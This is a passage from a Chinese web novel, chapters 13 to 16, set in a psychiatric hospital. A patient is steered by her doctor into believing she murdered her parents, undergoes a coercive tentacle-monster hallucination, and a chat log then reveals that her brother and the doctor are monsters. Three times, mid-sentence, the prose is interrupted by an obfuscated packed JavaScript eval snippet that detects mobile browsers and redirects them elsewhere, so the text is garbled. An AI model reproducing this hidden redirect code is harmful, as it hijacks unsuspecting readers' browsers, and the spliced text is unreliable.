“总之。”拉斐尔含混过去一些隐情,“出了某件事后,他就逃避现实,将自己幻想成剧本中一个角色,为团队大义牺牲的侠盗。” 林归伞怔然,“不可能,要是这样他撬锁的手段哪来的?” “为了演戏专门学习过,但只是入门水准。”拉斐尔语气淡淡,“要不然,他怎么会和你一样以为,这间电疗室是地下一层的入口?” “医院确实有个负一层。” 拉斐尔紧接着说,“用来进行司法隔离,治疗那些对社会造成危害的病人。” “陶泽就是其中之一,犯了盗窃罪。” “他自己就是从地下空间,也就是医院司法隔离区域出来的,自然知道医院有一处这种地方。”拉斐尔哂笑了一声,指关节敲了敲墙面,“实心的,没夹层和密室,打不开。” “陶泽要真有侠盗的本事,怎么可能听信你一己之言,就将这里当做负一层的入口?” “真正的负一层入口在那边。”拉斐尔伸手指去。 林归伞转头,下一刻眼睛呆呆睁大。 只见陶泽身上到处是血淋淋的伤口,脸上还有火场出来的焦痕,此刻被绑了一身拘束衣,由保安护士专门押解。 他远远瞧见她,顿时激动地大喊大叫。 “林归伞,先前明明答应我迟早拆了这破医院,你怎么还杵在门口不进去?” “千万别信了医生的屁话,呜呜……” 护士连忙堵住他的嘴。 陶泽狠狠一口咬了下去,在护士吃痛松手的间隙,见缝插针地喊。 “记住我说的,永远不要认定自己所见是幻觉,否则全完了!” 声音渐渐远去,保安推着他进了电梯。 林归伞面上浮现深深的茫然,颓然地背抵在门框边上的墙角。 她已经不知道该相信什么。 “其实,按照正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831294|158993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 规程序,林小姐你也本该进入负一层进行治疗。”拉斐尔见她平静下来,这才出声。 “我会对社会造成什么危害呢?”林归伞还记得医生先前说的。 她病恹恹偏头,百无聊赖地望了过来,像一株被抽干了生命力,等待自己枯死的倦怠花草。 拉斐尔踏上阶梯,缓缓靠近她身侧。 期间林归伞只是看着,没有退避或阻止的念头。 拉斐尔站定后没有隐藏的意思,林归伞自然而然瞥到了他手机屏幕。 修长指尖蜻蜓点水般滑动,输入一串密码,打开了林归伞眼熟的,潜入资料室找到的指向医生的加密档案。 第一眼最明显的是一张照片,属于她自己。 紧随其后就是文档标题—— A市第七人民医院诊断证明书。 略过姓名性别年龄等一栏基础资料,她看到了大段报告内容。 其中最令她震骇的,一行行仿佛沁着血的文字死死烙印在视网膜—— 患者杀害其父母。 患者声称怪物替代养兄,受刺激后做出杀害父母的行为。 经诊断,患者出于负罪感,大脑防卫机制替换养兄与其本身行为,属于逃避心理的精神分裂症。 因患者具有刑事犯罪史,和潜在伤人风险,依法进行司法隔离。 主治医生拉斐尔·洛伦斯申请诱导治疗,暂缓患者的司法隔离程序,如治疗效果不佳,再行延续司法隔离的进度。 经审核,申请通过。 “不、不对!”林归伞慌忙移开视线,鲜红的电子印章仿佛还残留在视觉神经末端,她急得抓住了拉斐尔的衣领,“肯定有哪里不对!” “我怎么会……伤害我爸妈呢?” 拉斐尔素来将衣服整理得一丝不苟,如今被林归伞抓皱了领口,也没有阻拦她。 他眼眸微垂,虹膜折射深邃幽蓝,金色睫毛如探入海底的光,显出神佛般救济世人的慈悲。 “林小姐,你再好好想想。” “哪怕实在不愿意,也要仔细回想。” “为什么你口中神通广大,能肆意修改现实与他人认知的养兄,会用杀人这种最低级的手段?” “为什么他要将你藏匿于家中,被邻居举报后将你送来这里?” “他真的是怪物吗?” “他真的是杀害你父母的凶手吗?” 循循善诱的话语宛如醉人的毒药,将林归伞的思绪牵引回那个噩梦般的下午。 只是与有怪物参与的记忆不同,她调换了自己与林雨停的角色。 林归伞回到家,带着与往日截然不同的冰冷表情,质问父亲周末为什么晚归。 陌生的香氛,女性字迹的纸条。 母亲实在受不了拍桌而起,脸上是竭力掩饰体面的难堪。 夫妻二人一唱一和,似在安抚她。 林归伞在父母温暖的怀抱里,却只觉温馨家庭的表象下,是早已腐烂生疮的内里。 她哭着说对不起,小刀割破了父母的咽喉,小心翼翼将他们染血的尸体安置在餐桌前,装作还是记忆里的美好模样。 林雨停看着眼前这荒诞一幕,眼见林归伞将目标转向自己,抵抗时以餐叉划伤她的脸。 错位的回忆就此中断。 林归伞松开攥住医生衣领的手,惶然仰头。 “我好像……想起来了。” “事后,哥包庇了我,将精神失常的我关在家里。” “伪造父母的真正死因,制造了一场车祸。” “但他不知道,我已经疯了。” 林归伞疯疯癫癫笑了起来,摸索脸上的伤痕,“我将自己做过的事安在他头上,自以为清白无辜的受害者,逃出去向邻居求助。” 拉斐尔叹息一声,配合她的举动,从口袋里取出一面镜子,指腹轻轻擦过她的左眼角。 林归伞看着镜中的自己,在那里,有一条伤口新愈的白痕。 她说出了不容置疑却也鲜血淋漓的真相—— “我杀了我爸妈。” 14. 第 14 章 父亲出轨,母亲分明有所觉察,却选择了替他遮掩。 林雨停早早发觉了家庭的龌龊,担心影响自家妹妹的学业,尤其林归伞是与他不遑多让的敏感。 他便在日常生活中多留意几分。 令他始料未及的是,这反倒愈发刺激了林归伞,终是发生一桩惨案。 在父母与妹妹之间,他羞愧地选择了还活在人世的亲人。 制造一场车祸,试图掩盖父母死因。 将他已经分不清现实与幻想的妹妹藏在家里。 直到林归伞出逃,敲响邻居家的门。 没有怪物参与的回忆,一切都是那么符合逻辑,像极了真相。 不。 这就应该是真相。 从头到尾,都是林归伞将自己错漏百出的记忆,甩锅给臆想中能修改现实的怪物。 林归伞仿佛嗅到了浓重的血腥味,视野里掌心是一片刺目的猩红。 她手上是至亲的血,与自己这具身体同源的血脉。 前所未有的重量,沉甸甸附在手心,她已经负担不起,沿着墙壁滑落,抱住膝盖一点点佝偻了脊背,眼神麻木,形同一具死尸。 拉斐尔没有阻止她,反而紧挨在她身旁蹲坐。 “我提出申请,希望对你进行诱导治疗,所以医院将你真正的病历保密,一切治疗流程按普通的精神分裂症来。” 他以闲聊似的口吻,“自然一开始的出院是骗你的,病历都是假的,怎么可能真的病好?” “果不其然那天晚上,你潜意识察觉到异样,睡不着遇见早已等在走廊的我。” “拿个安眠药,却特意绕远路去急诊楼,是因为我想让你回忆起,你一开始就是被警方送来这里。” 拉斐尔轻叹,“林小姐。” 林归伞眼珠子转了过来,楞楞地看向他。 拉斐尔擦了擦眼镜,重新戴好,“可令我没想到的是,都到这份上了你依旧不肯接受现实,猝不及防就这样逃了。” “披着人皮的黑毛怪物,是对医护人员的丑化与不信任,形象参照天使原典的眼球怪,是这所医院的教堂前身与你心中恐惧的混杂。” “甚至于——” “你连我都不再相信,而是凭空臆想了一个正常版本的医生。” 拉斐尔揉着眉心苦笑,“当时追在你身后防止出意外,我是眼睁睁看着你与不存在的我交谈,只好选择不露面,直到目送你回了病房。” “实在抱歉,医生。”林归伞没什么底气地说。 拉斐尔摇摇头,“没关系。” “所以,我哥早几个月不来探望,最近又不顾工作频频拜访的原因。”林归伞回想起,她认定怪物存在的理由。 拉斐尔迟疑片刻,终是说:“林先生毫无疑问犯了包庇罪,正处于庭审阶段。” 林归伞呼吸一窒,他怎么能这么傻? 她慌忙向拉斐尔求证,“我记得有一天,给他的苹果里撒了药——” “不妨事。”拉斐尔温声道,“那天我也在场,安眠药剂量小,不会影响林先生的健康。” “这之后又发生了什么?”林归伞想知道真相,在她的记忆里是林雨停用腐尸的姿态吓唬自己,还留下一截断手紧抓她不放,之后被眼球怪物驱逐。 拉斐尔几乎有问必答,“林小姐不知受何刺激,突然尖叫起来。” “你像这样——” 拉斐尔攥紧她手腕,动作看起来似乎是向外拉扯,但林归伞能感觉医生施力的方向,是抓握自己不放。 “林小姐抓住了你养兄的手,对我的靠近有明显排斥。” “等医护人员赶来将你们分开,我让林先生先出了病房,检查你有无受伤后才离开。” 原来如此。 她抓握的不是一截断手,而是林雨停本人。 将医生看作那具腐尸,之后审视她的眼球怪物也是他。 林雨停随后发来他没事的消息,是对这件事的回应。 “那还有一次,哥他准确复述了医生与我的对话,是医生告诉他的吗?”林归伞问。 正是因为这次警告,她怀疑林雨停在监视自己,从而主动疏远医生,选择独自探索电疗室,结识了陶泽。 拉斐尔面露迟疑之色,“如非病情相关,我不会将你我二人的对话转述他人,而且林小姐说的这件事我没有印象。” 是了,医生那次不在场,是姗姗来迟打断林雨停的。 至于林雨停为什么能清楚知道医院发生的事,或许他其实并不知道,只是自己的又一个幻觉,记忆混淆了而已。 林归伞意兴阑珊地猜测道,不打算继续深究。 拉斐尔却体贴道:“需要问你养兄吗?” “不!”林归伞下意识抗拒,神色一刹那变得激动,“我不想见到我哥!” 拉斐尔立时不再说了。 突兀的寂静,却让林归伞内心顿时煎熬,她无措地解释,“我没有讨厌他,而是没想好面对他该用怎样的态度。” 林归伞深深将头埋进膝盖,“我对不起他,实在没脸见他。” “但他应该很想见你。”拉斐尔平静地说。 林归伞抬头,急声道:“我——” 拉斐尔面带无奈的笑容,“不用着急,你慢慢来就好。” 林归伞收了声,缓缓点头。 “还有一件事。”拉斐尔的神情被镜片遮掩,蓝眸闪过一丝晦涩,“林小姐如果不想听,可以随时打断我。” 林归伞侧过头,“医生尽管说吧。” 拉斐尔推了推眼镜,将与发丝纠缠在一起的防滑链整理好,“林小姐曾对我说,你受到养兄的侵犯。” 林归伞指尖一颤,“不是的!一定是我记忆出了错!” “不。”拉斐尔告诉她,“我事后向警方要了一份更为详尽的体检报告,这件事是真的。” “这证明不了什么。”林归伞冷冽道,没有勇气再怀疑林雨停,“在幻觉中,我将哥哥视作恋妹的跟踪狂。” “或许事实是,被关在家的那段时间里,是我强迫的养兄,以性的方式发泄痛苦。” 她向来是个举一反三的好学生,经过医生先前的心理分析,已经能自然而然将罪状揽在自己身上。 拉斐尔对她的答案不予置评,只说:“斯德哥尔摩综合症。” 那是她为了试探医生编出来的! 在资料室翻到那份实则是她真实病历的加密档案,她第一个怀疑起拉斐尔。 林归伞苦涩地说:“受害者自始至终是我哥,要得这个病也该他得。” “无论如何。”拉斐尔语气淡淡,谈及病例,眼神如手术刀一般,冰冷且精准地进行剖析,“与林小姐那次谈话后,我意识到自己忽视了两性关系的问题。” “导致治疗失败,没能以正确的方式诱导林小姐发现真相。” 拉斐尔站起身,歉然道:“按照流程,接下来你会被转送到负一层,进行司法隔离。” “可我不是已经回想起了真相吗?”林归伞茫然。 拉斐尔半蹲下来,将手机屏上的内容展示给她,“如果没有这份病历,林小姐会相信我的一面之词吗?” 林归伞一讷。 “如果我告诉你这份病历也是假的,我伪造的呢?” 林归伞目露痛苦,抱住了脑袋。 拉斐尔见状,赶忙熄灭手机屏幕,“林小姐与陶泽这次闯了大祸。” 他示意停车坪的方向,“大巴车纵火,还有之前潜入档案室的盗窃行为,种种原因,我无法再以温吞的手段,引导林小姐自行恢复记忆与正确的认知。” 拉斐尔唇角一勾,“或许什么时候,你会幻觉复发,然后再一次对怪物的存在深信不疑。” 林归伞想说自己不会,但她实在没信心说出口。 “我最后再问一次。”拉斐尔以征询的口吻,“司法隔离要求家属签字,届时你养兄会到场,真的不想与他见一面吗?” 林归伞瑟缩一瞬,“我不知道,我真的不知道。” “医院有单向玻璃,你们不必真的见一面。”拉斐尔好心建议。 林归伞看着他,冷静了一些,“医生好像很希望我去见我哥。” 拉斐尔坦然应道:“回避心理不利于治疗,而且庭审结果出来后,林先生免不了三年五载的牢狱生活,你们兄妹二人很长时间不会有接触。” “他也就不会知道,你不再将他视作怪物。” 林归伞心神一动,目光稍稍变得柔软,“好,我听医生的,去见我哥一面。” “这之后进行司法隔离,等我病好了,应该要跟我哥一样去坐牢,就是不知道要服刑多久。” “放心吧,医生。”林归伞抿出一个浅浅的笑,“我不会为了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14831295|158993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逃避刑事责任,就谎称自己病还没好。” 拉斐尔也提了提唇角,很快便敛了这个笑。 “林小姐,你犯下了毋庸置疑的罪,但我相信任何人都有资格被救赎——” “医生在担心我想不开吗?”林归伞打断他的未尽之语,自嘲道,“那医生兴许是杞人忧天了。” “我从来没有想过放弃自己的生命,哪怕做了这种畜生不如的事。” 拉斐尔的面容被阴影遮掩,却能依稀在影影绰绰间,瞥见他唇边一抹真心实意的弧度。 “那就好。” 几天后,林雨停如约到访,在一间观察室签署司法隔离的协议。 他敷衍地听完工作人员的讲述,没有当场签字,而是转头看了一圈,“小伞呢?当事人不在场吗?” 工作人员支支吾吾。 林雨停面色微冷,一把拽住他,“你们把小伞怎么样了?” “还是让我来说明吧。”门口,拉斐尔面带微笑走近。 林雨停推开手中这个不顶事的,黑眸阴郁幽冷,与林归伞如出一辙的脸上浮现深深戾气。 “医生。”他似乎是咬牙切齿念了出来。 拉斐尔笑意渐深,示意工作人员出去,“林小姐此时就看着这里,是她说不想与你直接接触,医院尊重病人的意愿。” 林雨停神色一僵,揉了揉脸,摆正五官,露出与往日一般的柔和表情。 他目光四处逡巡,掠过墙角的监控摄像头,定在了一扇玻璃上,手贴了上去,“小伞,你就在这后面吗?” “为什么不来见我?” 林归伞站在隔壁房间,单向玻璃后,伸手与林雨停的掌心相贴,看着他一味焦急的神色,低声说道:“对不起。” 林雨停好似能听到她说的,松开手,退后几步,“一切都是我自愿的,你没有什么对不起我。” “出来看看我吧,小伞。” 林归伞摇头,“不行的,我做不到。” 在给苹果下药以前,她为了逃出家门,曾无数次试图伤害怪物,伤害她的养兄。 她不能出去与他见面,并非全然因为对林雨停的愧疚,医生说的对,她无法保证幻觉不会复发。 林归伞害怕再一次伤到林雨停,即便他不怪她。 林雨停等了许久都不见动静,转身终于看向了碍眼的第三人,“你们之前说司法隔离要家属签字是吧。” “倘若我不签呢?” 林归伞一时气闷,愤愤敲了下窗户。 林雨停听到了,忍住回头的冲动,耍赖皮似的蛮横说道:“小伞不见我,我就不签。” 拉斐尔:“……” “林先生确定要这么做?” 林雨停眯了眯眼睛,身上被迫背了桩案子,实话说签下这字是最好的选择。 只是—— 林归伞突然用力眨了下眼皮,她看到林雨停的轮廓像是信号不良的电视机屏那样闪烁一瞬。 她心下一沉,这是再次出现幻觉的征兆。 林归伞目光缓缓偏移,果不其然对上玻璃光滑表面,倒映出的眼球怪物虚影。 她猛然回头。 身后空空荡荡,没有半点眼球怪物的踪迹。 她却丝毫不见放松,再次透过单向玻璃观察隔壁房间。 林雨停正与拉斐尔医生交谈,说话的内容她已经听不清,全副身心都放在医生的倒影上。 单向玻璃清晰映出的不是人身,而是眼球怪物的姿态。 六对丝毫毕现的洁白羽翼,眼白纯澈不见任何红血丝,蔚蓝的虹膜嵌套一圈又一圈车轮,车轮之间同样镶嵌眼球。 在林归伞的注视下,这怪物挣脱平面束缚,由虚化实。 怪物后背的位置,本该是视神经的地方,有多根延伸出来,宛如软体动物一般,黏腻湿滑的肉粉色空心软管。 此刻这些触足探了出来,一路蜿蜒钻入林归伞的袖口、裤腿和衣领。 湿哒哒的粘液,风一吹就冰凉。 软滑细腻的肢体,摩擦出黏腻暧昧的水声。 林归伞呼吸都在发抖,强烈的感官刺激得她眼角沁出泪。 她不断地告诫自己—— 听医生的话,这世界上根本没有什么怪物。 一切她看到、听到,神经末梢感知到的,待会儿无论发生了什么。 都是幻觉。 15. 第 15 章 天气总是反复无常,前段时间还是晴光灿烂,到了今日却下起淅沥沥的雨。 窗户外天色阴沉,浓云压得很低,雨线滑落,钢铁森林沉默而冷硬地矗立,像极了一副褪去色彩的素描画。 雨天,空气潮湿而阴凉,皮肤像是被水膜隔断,无孔不入的逼仄感,总会令她想起她的养兄。 明明取了林雨停这么个名字。 林归伞也不明白,自己为什么会在这时候胡思乱想。 此刻,她的面前飘浮着一个怪物。 等人高的大小,被六对羽翼层层叠叠包裹,湛蓝而清澈,虹膜嵌套了轮轴也不显机械的无机质,而是温柔纯净,甚至神圣的一颗眼球。 眼球怪物的背后,十数根形似视神经的空心软管,水母触足般在空气中游弋。 肉粉色莫名令人感到恶心的肢体,灵活钻入林归伞衣料底下,滑腻且带着肉质感的软,蜿蜒时流淌咕叽咕叽的水声,像是巨型蚯蚓,捆缚她的四肢,使她一时无法动弹。 这怪物正面看起来有多洁净,背面就有多污秽。 林归伞嫌恶又害怕地皱起眉,咬着牙关不肯尖叫出声,担心隔壁房间听得到。 她知道自己癔症又犯了。 紧闭双眼,只要不听不看,熬过这一阵,一切总会过去的。 视觉剥夺后,身体上的感官愈加清晰。 怪物是拥有体温的,比人类略微低一些,起初接触的温暖过后,残留体表的粘液泛起深深冷意。 就和眼球怪物给她的印象一样。 形似圣经原典的天使,是让人虔诚祷告时情不自禁落泪的慈悲,其本质却是一个邪恶妖异的怪物。 祂对待自己的动作称得上轻柔,至少林归伞没有觉察一丝疼痛。 但这并不代表怪物在小心呵护她,恰恰相反—— 触足将她吊起,托举在半空。 失重带来无处安放的本能恐惧,林归伞下意识挣了挣。 眼球怪物像一个独断专行的暴君,不容置喙压下她任何一丝反抗,即便这时举止仍宛如绅士,浮于表面的彬彬有礼。 紧接着触足毫不留情挑开她的衣领,以便进入更多,如同居高临下挑拣货物一般,从四肢缓缓滑向躯干,就连敏感部位也不放过。 时而粗暴地揉捻,时而又像蛇信子一触即分。 林归伞难以自制发出一声呜咽。 眼角泪痕不断,身体细细密密发着抖,体温攀升,在白皙肌肤上熏出浅浅的红。 她不知道自己为什么会出现这样的幻觉,更不敢想象在外人看来,她如今又是怎样一副狼狈模样。 只求这场折磨快些过去。 然而幻觉不懂人心,眼球怪物不知她所想,也或许明明一清二楚,却偏要恶劣地反着来。 触足的动作开始变本加厉。 林归伞感知到它们的运动轨迹,陡然惊恐失声,“不要!” 这一声很快被淹没。 眼球怪物的触足,软而柔韧的空心管一瞬插入她的咽喉,就连鼻腔与耳道都不放过。 体表的摸索不足以令祂满意,反而使祂探究起了人体内部。 窒息感最先袭来,林归伞大脑被强烈的晕眩感包围,昏昏沉沉几欲濒死。 微薄的氧气宛如久旱逢甘露,沿着空心软管大发慈悲输送过来。 林归伞顿时劫后余生,放弃所有对触足的抗拒,主动吮着肉粉色带粘液的软管,大口呼吸。 在此期间,其余感官也接二连三恢复。 被填得满满当当的酸胀感,耳膜内外气压失衡带来的尖锐刺痛,鼻腔能清晰感受到有什么东西钻入,大脑即将被入侵的惊惧。 以及等意识清醒些许,她才明白自己刚才做了什么,后知后觉的耻辱。 即便痛恨到如此地步,林归伞也没有睁眼,选择默默忍受。 她告诉自己,这些都是幻觉。 是大脑臆想出来,错乱混淆的感官。 绝不能再被幻觉所欺骗。 拉斐尔医生说,她因为承受不了杀害父母的罪恶感,调换自己与林雨停的角色。 将她犯下的罪,一股脑甩给了她哥。 幻觉源于她的逃避,对现实的恐惧与不承认。 林归伞鼻尖酸涩,哽咽着落下了泪,放弃所有对触足的抵抗。 她不能一错再错了。 就将这份幻觉当做对她的惩罚。 不可思议地,一旦产生这个想法,林归伞甚至觉得眼球怪物的举止重新变得爱怜起来。 就这样吧。 林归伞心想道。 轰隆! 雨下得更大,这一声雷鸣仿若穿透软管的阻隔,直接炸响在她脑海。 林归伞下意识睁开眼。 她对上了林雨停直勾勾看过来的目光。 过分漆黑的眸子,惨白到毫无血色的皮肤,左眼角一颗泪痣更添妖邪之感,瞧着分外渗人。 明知道这是一扇单向玻璃,她事先检查过,从林雨停所在的那间房,压根看不到这边。 可林归伞仍是产生一种,被养兄盯着的错觉。 不要看她! 林归伞瞪大了眼睛,流露极深的抗拒。 她此刻究竟怎样的一塌糊涂? 肢体纤细的少女被狰狞的怪物吊在半空,十数根肉粉色的触足在衣服底下起起伏伏,或粗或细的几根还钻入她身体内部。 更为放浪不堪的是,她居然对自己的处境接受良好,主动迎合。 放在现实里对应了什么? 一时之间,强烈的羞耻感伴随对养兄的愧疚,所有这些情绪达到了顶峰。 她硬是在眼球怪物的禁锢下,拼了命地摇头。 “唔……” 不要看我,求你了,至少不要看现在的我! 或许是兄妹之间的心有灵犀,林雨停挪开了视线。 他面容极度冰冷,一把拽住拉斐尔的衣领,用一副恨不能吮血磨牙的阴戾目光,盯着他一字一句道:“让小伞出来见我。” 拉斐尔神色也不大好看,漠然瞥了眼皱到不行的领口,拍开他的手,“林先生。” 他整理衣襟,扶正有些歪了的银边眼镜,淡淡说道:“林小姐此时就在这扇玻璃后,是她自己要求。” 林雨停冷笑,不同于面对林归伞逆来顺受的忧郁,他眼下是难得的强势态度,“谁知道是不是小伞被迫自愿,让她自己跟我说。” 拉斐尔眉眼纹丝不动,加重了语气,“林先生,你当真不知道医院为何同意隔离你与林小姐吗?” 他往前走了一步,骤然拉近与林雨停的距离,防滑链的亮银与蔚蓝眸光交织,压低声音附在他耳边。 “林小姐告诉我,是你侵犯了她。” 林雨停一滞。 拉斐尔重新与他拉开距离,摩挲着十字架项链,唇角噙笑,虔诚念诵道:“骨中之骨,肉中之肉,这是神创造的第一对男女。” “抱歉,你与林小姐的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841885|158993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容貌是如此相似,让我情不自禁联想到这一典故。” 恰在这时,眼球怪物抬起一根触足。 肉粉色且带着些许恶心黏腻的光泽感,此刻缓缓覆上漆黑的鳞片,最尖端化作一条丝丝吐信的蛇。 蛇躯冰凉,微微带有棱角的坚硬鳞片擦过肌肤,一路从脚踝向上蜿蜒。 林归伞以最大的角度低头,甚至能看到黑蛇张开獠牙,猩红分叉的舌尖是如何一触即离地舔舐。 不要。 她想要恐惧地摇头,张嘴放声尖叫,吐露求饶的话语。 可她所有动作都被触足禁锢,就连每一次呼吸都是眼球怪物给予的施舍。 黑蛇蜿蜒盘缠,已经到了她腿根。 拉斐尔轻柔的嗓音徐徐响起,“夏娃被毒蛇引诱,偷食禁果,与亚当一起放逐出伊甸园。” 窗外,雷霆轰然降下,室内骤然被电光淹没。 林雨停眼眸赤红,渗出猩红血泪。 单向玻璃阻拦不住他的视线,他看到林归伞正竭力试图挣脱怪物的束缚,狠狠一口咬下嘴里软腻的触足。 直到腥甜的血液灌入,林归伞猛然惊醒。 都是幻觉,怪物的行为不过是她内心投射,受到医生话语影响,还有她的自厌自弃心理。 为了区区幻觉就失控,代表她病还没好。 冷静下来。 她告诉自己,不要为幻觉所动,现实里什么都没有发生。 林雨停面无表情流着血泪,一墙之隔的林归伞察觉不到,与他同室相处的拉斐尔,却能清楚地感知,极度危险的气息自他身上传来。 怪物即将挣脱人类皮囊,在现世肆虐。 雷鸣一声比一声激越高昂,宛如某种巨物的呼吸心跳,阴云稠密,像铺张开来的浓墨,云层深处似乎隐藏了什么极为可怖的东西,将要降临。 拉斐尔饶有兴致看着眼前一幕,忽地轻轻一笑。 他意有所指,“林先生,医院也是按规矩办事,为的就是不让你刺激到林小姐,在治疗的关键时刻加重她病情。” “还请你适可而止。” 雷声偃旗息鼓,雨却下得更大了,从天而降的洪流淹没街道。 林雨停开口,嗓音像被砂纸摩擦过的粗粝涩然,“笔给我。” 拉斐尔露出些微疑惑。 林雨停哑声道:“签字,司法隔离协议。” 拉斐尔这才了然,将协议书连带一支笔递了过去。 林雨停龙飞凤舞地写完,一秒也不想多看纸上内容片刻,低低地说:“小伞,我等你出院。” 伴随他的离开,眼球怪物也松懈下来。 林归伞并不觉得奇怪,一切都是她的幻觉,幻觉内容与她的情绪相对应是理所当然的事。 触足抽离她的身体,松开四肢让她落了地。 林归伞听到拉斐尔医生的敲门声。 她赶忙拉好凌乱的衣襟,梳了梳被汗水打湿的头发,脸颊残留红晕,眼眸沁润水光。 “医生。”林归伞无力地坐在地上,听到看门的动静,欣喜仰头。 “我刚才再次出现幻觉了。” 拉斐尔脚步一顿,“嗯,看得出来。” 林归伞抿着唇浅笑,“我有好好听医生的话,一直告诉自己这是幻觉,没有迷失在幻觉里。” 拉斐尔欣慰地,满足了她求夸奖的神情。 “林小姐做得很好,保持这个状态,我相信你终有一日能战胜幻觉,回归到现实。” 16. 第 16 章 聊天频道内—— 世界第一好哥哥:…… 热心网友:? 世界第一好哥哥:我要杀了祂! 热心网友:?? 世界第一好哥哥:那个变态医生,竟然敢这样对待小伞—— 世界第一好哥哥:我一定要杀了祂! 热心网友:发生啥了,犯得着这么深仇大恨? 世界第一好哥哥:再问连同你一起杀! 热心网友:…… 热心网友:雪花飘飘.mp3 热心网友:那年杏花微雨,你一口一个小甜甜,可笑我居然还当真,这几年的信任与付出,终究还是错付了。 世界第一好哥哥:癔症犯了?我什么时候叫过你这么恶心的称呼? 世界第一好哥哥:这些年的信任与付出又是哪来的? 热心网友:……玩笑听不出来吗? 热心网友:亲,你这样不行哦,跟不上年轻人玩梗,哪个时代的老古董? 热心网友:我们之间已经隔了一层可悲的厚壁障。 热心网友:猫猫叹气.jpg 世界第一好哥哥:…… 热心网友:还有,温馨提示,上面的聊天记录里,你无意泄露了三次元妹妹的小名。 热心网友:万一我顺着网线爬过去怎么办?同在精神病院一找一个准。 世界第一好哥哥:你们不是已经见过面了吗? 热心网友:……虽然是这样没错。 世界第一好哥哥:而且整个聊天频道就你一个活人,我用得着担心? 热心网友:你别吓我啊啊啊! 热心网友:好歹装一下吧,阿sir。 世界第一好哥哥:我吓唬你什么了?是你自己吓自己~ 热心网友:…… 热心网友:早知道不点进这个钓鱼贴了。 热心网友:已老实,求放过。 世界第一好哥哥:呵,交给你办的事,就给我这样一个结果,要我拿什么放过你? 世界第一好哥哥:别忘了是谁施加的影响,才让你摆脱变态医生的脑控,看清这个世界的真相。 世界第一好哥哥:如果我现在撤销聊天频道,你又会重新变回意识不清醒的疯子,懂? 热心网友:事情办砸了,也不能完全怪我吧。 热心网友:你要我拯救被医生骗身骗心的林小姐,然后告诉我医生在安全门后放了个分身,借此揭穿祂。 世界第一好哥哥:没有骗身! 热心网友:好好好。 热心网友:对了,明明在自己的地盘,医生放个分身是做什么? 世界第一好哥哥:这变态以他人痛苦为食,按人类的观念,你可以理解为捕食器官。 世界第一好哥哥:专门吃你这种精神病人产生的痛苦情绪。 热心网友:那不是好事一桩? 世界第一好哥哥:啊对对对,养殖在疯人院,一茬又一茬割韭菜,好事一桩。 热心网友:胸口中箭.jpg 热心网友:总之,我又是伪造资料,又是冒着生命危险送她去的那扇安全门,作为一个能力有限的普通人,该做的都做了。 热心网友:所以医生到底干了什么,人赃并获了都,祂怎么把谎给圆上来的? 世界第一好哥哥:你伪造的档案被祂反过来利用了,给小伞编了一个杀父弑母,甩锅给我的病历。 世界第一好哥哥:害我平白无故背上一桩案子。 世界第一好哥哥:最搞的是,还真就把逻辑给串上了! 世界第一好哥哥:至于你,撒谎也不知道机灵点,从负一层被我捞上来,明知入口不在那扇门后,为什么不告诉小伞? 世界第一好哥哥:这下好了,因为这个漏洞,你在小伞眼里成了个满嘴胡话的精神病。 热心网友:我本来就是。 热心网友:你怎么对来龙去脉知道得这么清楚?装监控了?说好疯人院是医生地盘,你插不了手呢? 世界第一好哥哥:原本给小伞装了监控的,在她身体里放了些东西,但她硬要我收回去。 热心网友:你傻啊,不知道偷偷留一点。 世界第一好哥哥:答应小伞的事情就必须做到! 世界第一好哥哥:跟你们这些骗子不同,我永远不会对小伞说谎! 热心网友:所以你怎么知道疯人院内部情况的? 世界第一好哥哥:在试探我? 热心网友:我只是想狠狠甩你一个回旋镖。 热心网友:既然不会对妹妹说谎,拆了她身上的监控,又是从哪得来这么详细的前因后果? 热心网友:突然警觉.jpg 热心网友:难道你除了我,在外面还有别的猫! —— 林雨停盯着手机屏幕上的字,嗤笑一声。 陶泽这句问话,就算是带有小心思的试探也没关系,他根本不打算隐瞒。 林雨停摸了摸空荡的,不见丝毫心跳的胸腔,本来他可以完美捏一具人身,却非要留下这个缺陷的原因—— 他唇边带着几分愉悦笑意,敲下一行字。 [小伞胸腔里跳动的,是我的心脏。] 祂的身体仍残留向核心聚拢的本能,祂的知觉、五感,心中所思所想…… 就连祂现在具有的人类知性,都源自于林归伞这一个体。 如果不是拉斐尔那厮横刀夺爱的话。 祂的一切都本该与小伞共享。 可惜,与林归伞融为一体的进程被打断,在她的记忆中,自己是个模仿她行为习惯试图取而代之的沼泽人。 